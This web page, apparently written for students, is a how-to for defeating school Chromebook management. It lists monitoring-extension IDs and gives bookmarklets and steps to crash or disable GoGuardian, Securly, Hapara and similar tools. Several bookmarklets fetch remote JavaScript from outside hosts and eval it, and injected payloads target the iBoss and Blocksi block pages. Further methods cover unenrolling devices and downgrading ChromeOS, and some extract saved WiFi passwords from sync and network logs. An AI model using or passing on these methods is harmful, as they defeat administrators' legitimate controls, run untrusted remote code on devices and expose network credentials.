Methods

When trying to bypass restrictions on school laptops, it's important to understand how extensions work. Chrome extensions have unique IDs that can be targeted by exploits.

Common admin extensions with their IDs:

• GoGuardian: haldlgldplgnggkjaafhelgiaglafanh
• Securly: joflmkccibkooplaeoinecjbmdebglab
• Lightspeed Filter: adkcpkpghahmbopkjchobieckeoaoeem
• LanSchool: igfbakionjdfbmmhgbnpblomgpoidndb
• Hapara: klifniioldbebiedpmnccahmgjcekale

Chrome version impacts which exploits will work. To check your Chrome version go to Settings > About Chrome OS.

To get the board name and model, go to chrome://version/ and look at the 'Platform' section, or check chrome://system/ and look at CHROMEOS_RELEASE_BOARD or platform_identity_name.

Other useful exploit collections:

• Titanium Network: https://docs.titaniumnetwork.org/guides/
• Mercury Workshop: https://mercurywork.shop/
• Chrose: https://chrose.netlify.app/
• Ext remover: https://github.com/3kh0/ext-remover

These tools allow you to watch YouTube videos even when the site is blocked. They also don't leave traces in your browser history.

Norepted

For Norepted, click 'Skip Intro' to access the viewer. You can paste any YouTube video URL to watch it.

Norepted (Alternative)

Norepted (Google Sites)

You can watch YouTube videos by using the embed URL format, which is often not blocked.

Steps to use this method:

• Find and copy the YouTube video link you want to watch
• Identify the video ID (the part after v= in the URL)
• For example, in 'https://www.youtube.com/watch?v=dQw4w9WgXcQ', the ID is 'dQw4w9WgXcQ'
• Use this format: 'https://youtube.com/embed/VIDEO_ID_HERE'
• If that's blocked, try 'https://www.youtube-nocookie.com/embed/VIDEO_ID_HERE'

This method allows you to watch videos even when YouTube is blocked.

These methods use iframes to create hidden browsers within other pages, allowing unrestricted access to the web.

Create a bookmarklet with this code:

javascript:var iframe = document.createElement('iframe'); iframe.style.position='fixed';iframe.style.top='0';iframe.style.left='0';iframe.style.width='100%';iframe.style.height='100%';iframe.style.border='none';iframe.style.zIndex='9999';iframe.src=prompt('Enter URL:');document.body.appendChild(iframe);

Copy

Click the bookmarklet, enter any URL, and browse freely within the iframe.

Skiovox is one of the most effective ways to access an unrestricted version of Chrome on school devices.

Skiovox Official

Steps to use Skiovox:

• Visit the Skiovox website
• Click 'Launch' to start the browser
• Enjoy unrestricted browsing with no filters or extensions

Tips for using Skiovox:

• Make sure to press Alt+Shift+S, NOT Ctrl+Shift+S
• COMPLETELY wait for the 'Network Available' screen
• Install the Skiovox Helper extension from Stage 3
• When configuring browser shortcuts, actually press the key combination instead of typing it out

TerraOS allows you to boot a full Linux desktop from an RMA shim, completely bypassing ChromeOS restrictions.

TerraOS GitHub

Basic steps to create TerraOS:

• Clone the TerraOS repository
• Create a build directory in the cloned directory
• Run the build scripts with your board's specific parameters
• Create a bootable USB with the resulting image

NOTE: This method requires physical access to the device and may void warranties. Use at your own risk.

This exploit uses the webview component in the Chrome sign-in page to access an unrestricted browser.

Steps to use this exploit:

• Go to chrome://chrome-signin
• Click OK on the bottom right corner
• In the email text box put 'google@d11.org' (If you see 'This account is not allowed to sign in within this network', then you can't use this exploit)
• Click signin options
• Click signin with Github
• Click the Github logo
• In the search box on the top right type Google
• Click Search all of Github
• Click the Google link in the infobox about Google to the right of the screen

If your school uses network-level filtering, a VPN can help bypass these restrictions.

WindScribe VPN Extension

Method for HavenVPN setup:

• Download the ONC file from this Google Drive link: https://drive.google.com/file/d/1MGVFf8d9pww0M2bO9ogxQX1LyR1y6zc_/view
• Go to chrome://network and scroll down to press Import ONC File
• Select the file you just downloaded (it should say 'Network imported: 1')
• Go to Settings > Network section > VPN
• Click on HavenVPN, and it should connect automatically

If extensions are blocked, try using a web-based VPN service:

HideMe Web VPN

Many school networks use DNS filtering. Changing your DNS settings can bypass this type of filtering.

Steps to change DNS:

• Go to settings
• Click on the wifi name you are using and click it again
• Scroll down until you see the Network section
• Scroll down to find Name Server section and go to Custom Name Servers option
• Enter one of these DNS options:

IP Server Options:

• Google DNS: 8.8.8.8 in all boxes
• CloudFlare: 1.1.1.1 in the first box and 1.0.0.1 in the second box
• Server 3: 72.5.33.65 in first box and 1.1.1.1 in second box

Note: If DNS settings are locked by admin, this method won't work.

If Incognito mode is disabled on your device, here are a few methods to re-enable it.

Method 1: Using DNS Servers (temporary incognito)

• Server 1: 52.207.185.90
• Server 2: 158.111.114.159
• Go to settings
• Click on the wifi name you are using and click it again
• Scroll down to the Network section
• Find Name Server section and select Custom Name Servers
• Paste in one of the IP servers above
• You should see a notification saying 'open new tab', click that
• Click the yellow with black letters button
• Go back to network settings and change back to Automatic Name Servers

Note: If you close the Incognito tab, you'll have to repeat the steps.

Method 2: Developer Tools

• Open Chrome and press Ctrl+Shift+I to open Developer Tools
• Click on the three dots in the corner of Developer Tools
• Select 'More tools' > 'Rendering'
• A new panel will appear at the bottom
• Find 'Emulate CSS media feature prefers-color-scheme' and set it to 'dark'
• This forces Chrome into a pseudo-incognito mode

Omada is a common DNS filtering system used in schools. This exploit allows you to bypass it.

Server Options:

• New York Server: 66.94.105.229
• Germany Server: 167.86.91.171

Steps to apply the servers:

• Go to settings
• Click on the wifi you are using and click the wifi name again
• Scroll down and click the Network drop down
• Go to the Name Server section, click it, and select Custom Name Servers
• Paste in the server address of your choice
• Refresh network connection (turn wifi off and on)

This may bypass Omada's DNS filtering if the system isn't configured to block custom DNS.

Shimboot allows you to boot a full Linux desktop from an RMA shim, completely bypassing ChromeOS restrictions.

Shimboot GitHub

Features of Shimboot:

• Run a full Debian installation on a Chromebook
• Does not modify the firmware
• Works on enterprise enrolled devices
• Can boot Chrome OS with no restrictions (useful for enrolled devices)
• Nearly full device compatibility
• Optional disk compression
• Multiple desktop environments supported

Requirements:

• A separate Linux PC for the build process (preferably Debian-based)
• WSL2 is supported if you are on Windows
• A USB drive that is at least 8GB in size (cheap USB 2.0 drives typically won't work well)
• At least 20GB of free disk space on Host PC

Note: This is a very complicated method. Full instructions are available on the GitHub page.

LTMEAT is one of the most powerful and widely-used extension disablers. It works by overloading the extension's memory to force it to crash.

LTMEAT Official Documentation

Basic LTMEAT steps:

• Get your extension's ID (go to chrome://extensions, click Details on the extension, copy the ID from the URL)
• Substitute the ID in this URL: chrome-extension://EXTENSIONIDHERE/manifest.json
• Bookmark the page (call it 'A')
• Bookmark chrome://kill (call it 'B') and chrome://hang (call it 'C')
• On the extension page (A), click the chrome://kill bookmark (B) - the page should crash
• Instantly start spam clicking the chrome://hang bookmark (C) and quickly reload the page
• If the extension page no longer loads, LTMEAT worked!
• Restart your computer to go back to normal

The extension should crash after a few seconds and remain disabled until you restart Chrome.

LTMEAT Flood is a more aggressive version that keeps running to prevent extensions from recovering.

Steps to use LTMEAT Flood:

• Create a bookmark folder and paste the extension page (with manifest.json) many times (800 minimum)
• Add the extension settings page at the start of the folder
• Right-click the folder and open all in a new window
• Close the window with all those tabs after they appear
• Open the folder in a new window again, and Chrome should hang (forever reloading) those tabs
• Flip the Allow access to file URLs switch in the extension settings

If your device restarts or shuts down during step 2, lessen the number of pages in the folder.

Create a bookmarklet with this code for a more automated approach:

javascript:var extensionId = prompt('Enter extension ID to flood:','haldlgldplgnggkjaafhelgiaglafanh');var workers = prompt('Enter number of workers:','50');fetch('https://raw.githubusercontent.com/FogNetwork/LTMEAT/main/flood.js').then(r => r.text()).then(c => {eval(c.replace('REPLACE_EXTENSION_ID',extensionId).replace('REPLACE_WORKERS',workers))});

Copy

Common extension IDs to try:

• GoGuardian: haldlgldplgnggkjaafhelgiaglafanh
• Securly: joflmkccibkooplaeoinecjbmdebglab
• Lightspeed: adkcpkpghahmbopkjchobieckeoaoeem

This method uses Chrome's print dialog to trigger memory overload in extensions.

Steps to use LTMEAT Print:

• Find your extension ID (see instructions above)
• Find your extension's largest file using this tool: https://robwu.nl/crxviewer/
• Alternatively, try chrome-extension://[YOUREXTENSIONID]/main.js
• Once on the large file, press Ctrl+P to print the page
• Do everything you can to increase the page count in the top right
• Now reload the page
• Go to your extension's settings page (chrome://extensions://?id=[ID HERE])
• Duplicate your 'printing' tab by right clicking it and pressing 'duplicate'
• Go back to the settings page and flip any switch you find (usually 'Allow access to file URLs')

Dextensify temporarily disables extensions without causing crashes, which can be less detectable.

Dextensify GitHub

To use Dextensify:

• Go to one of these links: https://dextensify.pages.dev/main or data URL file from GitHub
• Go to chrome://extensions and click on the extension you want to disable
• On the Dextensify page, press 'freeze extension'
• Switch back to your tab from step 2
• Repeatedly click the 'Allow Access to File URLs' switch for a few seconds
• The extension should be disabled
• If it gets enabled again after a few minutes, click the Dextensify tab, then repeat step 5

Create a bookmark with this URL to quickly access Dextensify:

javascript:fetch('https://raw.githubusercontent.com/MercuryWorkshop/dextensify/main/bookmarklet.min.js').then(r => r.text()).then(eval)

Copy

CAUTION! Performing this exploit will erase your local data including everything in 'My Files.' Make sure to back up your data to your drive.

Corkey can permanently corrupt extensions by modifying their storage data.

Corkey GitHub

Steps to use Corkey:

• Enter recovery mode (Esc + Refresh + Power) and re-enroll, or just powerwash
• Log into your device and immediately turn off WiFi and restart (Refresh + Power)
• Log back in with WiFi off. Click the option to log in as an existing user
• Go to chrome://extensions, turn on WiFi, and wait for your school's blocking extension to appear
• As soon as it appears, turn off WiFi and restart as fast as possible
• Log back in, go back to extensions, and wait. If it says your blocking extension could be corrupted or doesn't appear at all, then it worked
• If it didn't work, start over. You have to be fast

JPCMG is a simpler alternative to LTMEAT that's effective for many extensions.

Method 1: Simple memory consumption

javascript:(function(){var num=prompt('How many MB of memory to consume?');var theString=''; while(theString.length<num*1024*1024/2){theString+=theString+'X';} console.log(theString.length); alert('Consumed approximately '+num+' MB of memory')})();

Copy

Run this bookmarklet and enter a large number (500-1000) to consume memory and potentially crash extensions.

Method 2: Using serviceworker-internals (requires inspect element)

• Go to chrome://serviceworker-internals/
• Click the start button on the extension you want to disable (recognizable by the extension ID)
• Click the inspect button that appears under the extension
• Execute this code: chrome.management.setEnabled('extensionid', false);

This method uses Chrome's built-in PDF viewer, which often runs without extensions active.

Quickview Exploit

Steps to use Quickview:

• Create a PDF file with embedded links to websites you want to visit
• Upload the PDF to Google Drive
• Open the PDF in Chrome's viewer
• Click the links in the PDF - they'll open without extensions active

This method requires bookmarklets to be allowed (Chrome v114 or lower).

ExtHang3r exploits Chrome's tab management to disable extensions.

ExtHang3r GitHub

Steps to use ExtHang3r:

• Open the ExtHang3r tool (from the data URL or GitHub page)
• Select the extension you want to disable from the dropdown
• Click 'Hang Extension!'
• Wait about a minute for the process to complete
• Click 'Kill Extension!' and follow the instructions to flip the switch in extension settings

This is a more advanced technique that may be effective when other methods fail.

Caution! Performing this exploit will erase your local data including everything in 'My Files.' Make sure to back up your data to your Google drive when enabling or disabling developer mode.

Developer Mode gives you complete control over your device, but requires physical access and will wipe all data.

Steps to enable Developer Mode:

• Turn off your device
• Hold Esc + Refresh (⟳) + Power button simultaneously
• When the recovery screen appears, press Ctrl+D
• Press Enter to confirm enabling Developer Mode
• The device will restart and wipe all data
• Setup will take 10-15 minutes
• When you see 'OS verification is OFF', press Ctrl+D to continue

Once in Developer Mode, you can access a full shell with 'Ctrl+Alt+T' then typing 'shell'.

Steps to disable Developer Mode:

• Restart your device. You will see the 'You are in developer mode' screen
• Highlight 'Return to secure mode' using the arrow keys and press Enter
• Alternatively, at the 'OS Verification is OFF' screen, press the space key and then Enter to confirm

Sh1mmer is a powerful exploit that allows you to unenroll managed devices using a specially crafted recovery USB.

Sh1mmer Documentation

WARNING: Unenrolling a managed device may violate your school's policies. The device may automatically re-enroll when connected to the school network.

This is an advanced exploit that requires creating a special USB drive. Full instructions are available on the Sh1mmer website.

E-Halcyon is an alternative to Sh1mmer that works on some newer Chrome versions.

E-Halcyon GitHub

Like Sh1mmer, this requires creating a special USB drive and has similar capabilities.

These resources provide comprehensive guides for unenrolling school devices and other exploits.

Mercury Workshop Documentation

ChromeOS Exploits GitHub

Unenrolling Guide

CryptoSmite is an advanced exploit that targets the cryptographic verification process on ChromeOS devices.

CryptoSmite Documentation

This is a highly technical exploit that requires significant expertise to use successfully.

BadRecovery uses modified recovery media to gain elevated privileges on school devices.

BadRecovery GitHub

This exploit requires creating modified recovery media and is primarily for research purposes.

Securly is a common web filter used in schools. Here's how to bypass it:

Steps to bypass Securly:

• Go to chrome://settings/signOut
• Click the blue button and turn off sync and personalization
• Do ONE of the following to restart Securly:
• a. Go to chrome://restart
• b. Go to a Securly extension page (chrome-extension://iheobagjkfklnlikgihanlhcddjoihkg/logo.svg), then enter chrome://kill in the URL bar
• c. Go to chrome://extensions, find Securly's details, then click 'Allow access to File URLs'
• d. Use task manager (Search+Esc) and kill Securly
• Go to tinyurl.com/addsession and add your account back

For Chrome v112 or above, follow these directions after finishing step 2:

• Go to chrome://settings/resetProfileSettings
• Click Current Settings
• On the page, run this code: javascript:opener.chrome.send('TurnOffSync');
• Do chrome://restart

To undo this, restart your computer (refresh + power)

These web tools can help bypass Securly restrictions:

Insecurly

DisableSecurly

Securly Pass

These sites provide tools specifically designed to bypass or disable Securly filtering.

CAUTION! Teachers can still see your screen, but they can't block or close any of your tabs.

This method exploits the tab limit to prevent GoGuardian from controlling your tabs.

Steps to use this bypass:

• You must have a tab limit for this to work
• Create a bookmark named anything with this code: javascript: window.onbeforeunload = ()=>{return false;}
• Hold down CTRL and then SPAM CLICK the bookmark until you're well above the tab limit, opening a bunch of about:blank pages
• It might ask if you want to leave this page - this is GoGuardian trying to close it
• Say No and click 'Prevent from creating additional dialogues'
• Enjoy your unblocked stay!

To undo this, close all of your about:blank tabs.

You can use the LTMEAT method described in the 'Disabling Extensions' section to target GoGuardian specifically.

Steps to use LTMEAT for GoGuardian:

• Use the LTMEAT method with GoGuardian's extension ID: haldlgldplgnggkjaafhelgiaglafanh
• If that doesn't work, try the LTMEAT Flood or LTMEAT Print methods

After disabling GoGuardian, you can use a web proxy to access blocked content.

iBoss and Blocksi are network-level filters that can be more challenging to bypass.

Method 1: DNS over HTTPS

• Go to chrome://settings/security
• Enable 'Use secure DNS'
• Select 'With Custom' and enter: dns.google

Method 2: URLs and Bookmarklet

For iBoss:

chrome-extension://kmffehbidlalibfeklaefnckpidbodff/restricted.html?re=1&bc=%3Ca+href=%22about:blank%22%20rel=%22opener%22%20target=%22_blank%22%3EThe%20Blue%20Hat%20Crew%20is%20the%20best!%3C/a%3E

Copy

For Blocksi:

chrome-extension://ghlpmldmjjhmdgmneoaibbegkjjbonbk/pages/blockPage.html?blockurl={%22hostname%22:%22%3Ca%20href=%27//%27%20rel=%27opener%27%20target=%27_blank%27%3ETheBlueHatCrewIsTheBest%3C/a%3E%22}

Copy

Code for bookmarklet:

javascript:opener.eval(`fetch("https://rounded-boiling-flax.glitch.me/uboss.js").then(data=>{data.text().then(e=>{eval(e)})})`) && close();

Copy

Instructions:

• Go to the website that matches the extension you have
• Bookmark the javascript then run it on that extension page
• Follow the instructions that appear

Method 3: Web Proxies

• Use web proxies from our Ultimate Links page
• Recommended: Shadow Browser and Interstellar

Ultimate Links Page

Hapara Highlights allows teachers to view and control student screens. Here's how to bypass it:

Method 1 Using LTMEAT

• Use the LTMEAT method described earlier
• Target the Hapara extension ID: klifniioldbebiedpmnccahmgjcekale

Method 2 Using about:blank iframe

javascript:window.open('about:blank').document.write('<iframe src="'+prompt('Enter URL')+'" style="position:fixed;top:0;left:0;width:100%;height:100%;border:none;outline:none;"></iframe>');

Copy

Hapara Focus Sessions lock students into specific tabs. Here's how to escape:

Method 1: Using keyboard shortcuts

• Press Alt+Tab to switch to another application
• If that doesn't work, try Ctrl+Alt+T to open a terminal

Method 2: Force close the browser

• Press Shift+Esc to open Chrome's task manager
• Select Hapara or Focus processes
• Click 'End Process'

If your school uses uBlock Origin to block bookmarklets, this exploit allows you to run them anyway.

Method 1: Simple script executor

• You must have the uBlock Origin extension installed for this to work
• Go to the extension's settings (press the puzzle icon next to the URL, press the 3 dots corresponding to the extension, and press 'Manage Extension')
• Under the settings tab, check the 'I am an advanced user' box, then click on the small cog icon
• Find 'userResourcesLocation' and change it from 'unset' to 'https://raw.githubusercontent.com/3kh0/ext-remover/main/ublockExec.js'
• Go to the My filters tab of the settings and add the line: *##+js(execute_script.js)
• Now press Ctrl+Alt+~ (tilde) to run code on the current page

Method 2: uRun script executor

• Open uBlock settings
• Enable advanced settings, and click the gear ⚙️ button
• Change 'userResourcesLocation unset' to 'userResourcesLocation https://inglan2.github.io/uRun/urun.js'
• After closing the advanced settings tab, go to the filters tab and add: *##+js(urun.js)
• To use it, press Ctrl + Shift + ` to open the menu and from there you can run and create scripts

CAUTION! DON'T MODIFY ANYTHING ELSE ON THE ADVANCED SETTINGS PAGE. If you mess up, go to the home of settings and at the bottom click reset to default settings.

This method creates a more advanced environment for running JavaScript when bookmarklets are blocked.

Create a bookmarklet with this code:

javascript:(function(){var jsConsole=document.createElement('div');jsConsole.style='position:fixed;top:10px;left:10px;right:10px;height:200px;background:rgba(0,0,0,0.8);color:white;z-index:99999;padding:10px;font-family:monospace;overflow:auto;border-radius:5px;';document.body.appendChild(jsConsole);var input=document.createElement('input');input.style='width:100%;background:black;color:lime;border:1px solid lime;margin-top:10px;';input.placeholder='Enter JavaScript to run...';jsConsole.appendChild(document.createElement('div')).textContent='JavaScript Console (bypasses uBlock)';jsConsole.appendChild(input);input.focus();var output=document.createElement('div');output.style='margin-top:10px;';jsConsole.appendChild(output);var closeBtn=document.createElement('button');closeBtn.textContent='Close';closeBtn.style='position:absolute;top:5px;right:5px;background:red;color:white;border:none;border-radius:3px;';closeBtn.onclick=function(){document.body.removeChild(jsConsole);};jsConsole.appendChild(closeBtn);input.onkeydown=function(e){if(e.keyCode===13){try{var result=eval(input.value);output.innerHTML+='<div style="color:lime">> '+input.value+'</div><div style="color:cyan">'+result+'</div>';input.value='';}catch(err){output.innerHTML+='<div style="color:lime">> '+input.value+'</div><div style="color:red">'+err+'</div>';}output.scrollTop=output.scrollHeight;}};})();

Copy

This creates a JavaScript console on the page that allows you to run any code, even when bookmarklets are blocked by uBlock.

CAUB prevents Chrome from automatically updating, which can help keep exploits working longer.

CAUB Website

Follow the directions on the website (use a proxy if it's blocked). You can also follow the steps below to get the WiFi password too.

CAUB 2 is an improved version that uses network settings to prevent updates.

Steps to use CAUB 2:

• Go to chrome://flags#show-metered-toggle
• Enable it and click restart (skip this step if it's already on)
• Go to settings
• Click WiFi
• Click the wifi you want to do CAUB on (if it's not there, click on 'Known networks')
• Click Advanced
• Enable Metered Network

This tells Chrome not to download updates over this network to 'save data', effectively blocking updates.

DISCLAIMER: I am not responsible for any illegal actions or trouble you get into doing this. Stay cautious and use this knowledge responsibly.

This method may not work if WiFi is managed. If it doesn't work, try the CAUB method above first.

• Go to https://cdn.3kh0.net/sipe (use proxy if blocked)
• Put the WiFi name in the input box (or leave it blank if you don't know it)
• Click the magic button and remember what it tells you
• Go to chrome://sync-internals/ in a new tab
• Click on Trigger GetUpdates
• Click the Search tab
• Put in wifi_ in the text box
• Click the search button
• Click the name of the WiFi, or guess the name if you left it blank (may be a longer string than shown)
• Copy all of the data
• Go back to the website
• Put the data in the text box
• Click the magic button
• It will tell you the WiFi name and password

This method uses Chrome's network export feature to find saved WiFi passwords.

• Go to chrome://net-export
• In options, set the option to Include raw bytes
• Click Start logging to Disk and save the file
• Go to chrome://policy in a new tab
• Click Reload policies
• Go back to the net-export tab
• Stop logging
• Go to https://luphoria.com/netlog-policy-password-tool (use proxy if blocked)
• Click Choose File
• Choose the file you saved in Step 3
• The credentials column is the WiFi password!

This method uses DNS to load and execute JavaScript when bookmarklets are blocked.

DNS Server to use: 94.140.14.49

Steps to use Bookmarklet Executor:

• Go to settings and click WiFi under the Network section
• Click on the WiFi name again
• Go to the Network dropdown
• In the Name Servers section, click on Custom Name Servers
• Paste the DNS address above in the first input box
• Refresh your network connection
• Go to tiny.cc/bookmarkletexec on the Chrome Web Store

Detailed Bookmarklet Executor Instructions

If your school device has the Snap&Read extension installed, you can use it to execute scripts.

The Snap&Read extension must be installed and signed in to an active account for this to work.

Steps to use Snap&Read script executor:

• Open the Snap&Read popup by activating the extension
• Enable the Snap&Read service by toggling the switch on
• In the Snap&Read toolbar, click the Show outlines button
• In the outlines panel, click the New outline (+) button
• Enter any text into the outline topic's editable text area
• Click the bullet point of the topic
• Click the Link to source option
• Click the plus (+) button at the bottom right
• Switch to the WEBSITE tab
• In the Article/Page title field, enter the name of your chosen bookmarklet
• In the URL field, enter the source of the bookmarklet, starting with javascript:
• Click SAVE at the top right
• Switch to the OUTLINE tab
• In the Snap&Read toolbar, click the Hide outlines button

To execute scripts on a page:

• In the Snap&Read toolbar, click the Show outlines button
• In your outline, click the link that contains the bookmarklet
• Click the Hide outlines button
• To disable the toolbar, open the extension popup and toggle the Snap&Read service off

RigTools is a comprehensive framework for executing JavaScript on restricted school devices.

Steps to use RigTools:

• Navigate to devtools://devtools/bundled/devtools_app.html
• In a new tab, open one of these URLs:
• devtools://devtools/bundled/devtools_app.html?experiments=true&wss=rig.ccsd.store
• devtools://devtools/bundled/devtools_app.html?experiments=true&ws=rigtools.appleflyer.xyz:5506
• Double click the gray 'Other' checkbox in the name column
• Click the Extension ID button
• Paste the ID of the extension you want to control (must be installed by administrator)
• Click the button(s) for the task(s) you want to perform

RigTools GitHub

Here's a collection of useful bookmarklet scripts for various purposes:

1. Edit Any Page:

javascript:document.body.contentEditable=true;document.designMode='on';void 0;

Copy

2. Force Dark Mode:

javascript:(function(){var css='html{background-color:#1a1a1a!important}body{background-color:#1a1a1a!important;color:#aaa!important}a{color:#3391ff!important}a:visited{color:#8a6eff!important}';var head=document.head;var style=document.createElement('style');style.type='text/css';style.appendChild(document.createTextNode(css));head.appendChild(style);})();

Copy

3. Show Passwords:

javascript:(function(){var inputs=document.getElementsByTagName('input');for(var i=0;i<inputs.length;i++){if(inputs[i].type.toLowerCase()==='password'){inputs[i].type='text'}}})();

Copy

4. Proxy in Iframe:

javascript:window.open('about:blank').document.write('<iframe src="'+prompt('Enter URL')+'" style="position:fixed;top:0;left:0;width:100%;height:100%;border:none;outline:none;"></iframe>');

Copy

5. Game Collection:

javascript:(function(){var frame=document.createElement('iframe');frame.src='https://3kh0-reborn.outred.dev/';frame.style.position='fixed';frame.style.top='0';frame.style.left='0';frame.style.width='100%';frame.style.height='100%';frame.style.border='none';frame.style.zIndex='9999';document.body.appendChild(frame);})();

Copy

More Bookmarklet Scripts

Bookmarklets are special bookmarks that execute JavaScript code. Here's how to create them:

Steps to create a bookmarklet:

• Right-click on the bookmarks bar (press Ctrl+Shift+B if it's hidden)
• Select 'Add page' or 'Add bookmark'
• For the name, enter anything descriptive
• For the URL, paste the JavaScript code starting with 'javascript:'
• Click 'Save'

To use a bookmarklet, simply click it like a normal bookmark. The JavaScript code will execute on the current page.

Some exploits only work on older Chrome OS versions. Here's how to downgrade:

WARNING: This will erase all data on your device.

Requirements:

• A USB drive (8GB or larger)
• Access to another computer
• Chromebook Recovery Utility extension

Steps to downgrade Chrome OS:

• Navigate to chrome://version on the device you wish to downgrade and check for your board under Platform
• On your personal computer, navigate to https://chrome100.dev
• Do CTRL+F on your keyboard and type in your board
• Find and download the Chrome version you want to your personal computer
• Install Chromebook Recovery Utility onto your personal computer
• Open the extension, click on the settings button in the top right-hand corner, and click 'Use local image'
• Select the recovery image you downloaded from chrome100.dev
• Plug in the USB you wish to use, and follow the prompts on the screen
• On your school device, press Esc+Reload+Power and follow the prompts
• On the checking for updates screen, press Ctrl+Shift+E to skip it

Note: After downgrading, you should use CAUB to prevent automatic updates.